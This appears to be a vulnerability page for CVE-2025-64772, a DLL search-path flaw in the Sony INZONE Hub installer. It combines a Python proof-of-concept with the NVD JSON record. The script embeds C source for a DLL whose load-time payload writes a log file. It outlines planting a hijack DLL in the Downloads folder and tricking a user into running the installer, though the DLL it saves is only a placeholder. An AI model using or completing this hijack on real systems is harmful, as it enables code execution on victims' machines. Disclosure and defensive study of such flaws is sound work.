CVE-2025-64772

# CVE-2025-64772 PoC - DLL Search Order Hijacking # Target: Sony INZONE Hub Installer (versions 1.0.10.3 to 1.0.17.0) # This PoC demonstrates the DLL search path vulnerability import os import ctypes import shutil import sys def create_malicious_dll(): """ Generate a malicious DLL that will be loaded by the vulnerable installer This DLL will execute arbitrary code when loaded """ dll_code = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Payload execution - write to log file HANDLE hFile = CreateFileA( "C:\\\\Temp\\\\cve_2025_64772_poc.log", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile != INVALID_HANDLE_VALUE) { const char* msg = "[+] CVE-2025-64772 DLL hijack successful! Arbitrary code executed.\\n"; DWORD bytesWritten; WriteFile(hFile, msg, strlen(msg), &bytesWritten, NULL); CloseHandle(hFile); } // Execute malicious payload here // Example: system("calc.exe"); } return TRUE; } ''' # Target DLL name that the installer tries to load target_dll = "version.dll" # Common Windows DLL that installers may load with open(f"malicious_{target_dll}", "w") as f: f.write("# This is a placeholder. Compile actual C code with MinGW or MSVC.\n") f.write("# Target: " + target_dll + "\n") f.write("# Note: This DLL should export functions expected by the installer\n") return f"malicious_{target_dll}" def exploit(): """ Exploitation steps for CVE-2025-64772 """ print("[*] CVE-2025-64772 DLL Search Order Hijacking PoC") print("[*] Target: Sony INZONE Hub Installer 1.0.10.3 - 1.0.17.0\n") # Step 1: Create malicious DLL dll_name = create_malicious_dll() print(f"[1] Created malicious DLL: {dll_name}") # Step 2: Place DLL in search path (installer directory or current directory) installer_path = os.path.expanduser("~/Downloads/") # Common download location target_path = os.path.join(installer_path, dll_name) print(f"[2] Place {dll_name} in: {installer_path}") print(f" This directory should be where the INZONE Hub installer is located") # Step 3: Social engineering - trick user into running the installer print("[3] Wait for user to execute INZONE Hub installer") print("[4] Installer loads our malicious DLL during installation") print("[5] Arbitrary code executed with user privileges\n") print("[!] Note: This is a demonstration. Actual exploitation requires:") print(" - Compiled malicious DLL with correct exports") print(" - Placement in the correct search path") print(" - User interaction to run the installer") return True if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-64772", "sourceIdentifier": "[email protected]", "published": "2025-12-01T01:16:00.877", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The installer of INZONE Hub 1.0.10.3 to 1.0.17.0 contains an issue with the DLL search path, which may lead to insecurely loading Dynamic Link Libraries. As a result, arbitrary code may be executed with the privilege of the user invoking the installer."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN28247549/", "source": "[email protected]"}, {"url": "https://www.sony.com/electronics/support/others-software/inzone-hub", "source": "[email protected]"}]}}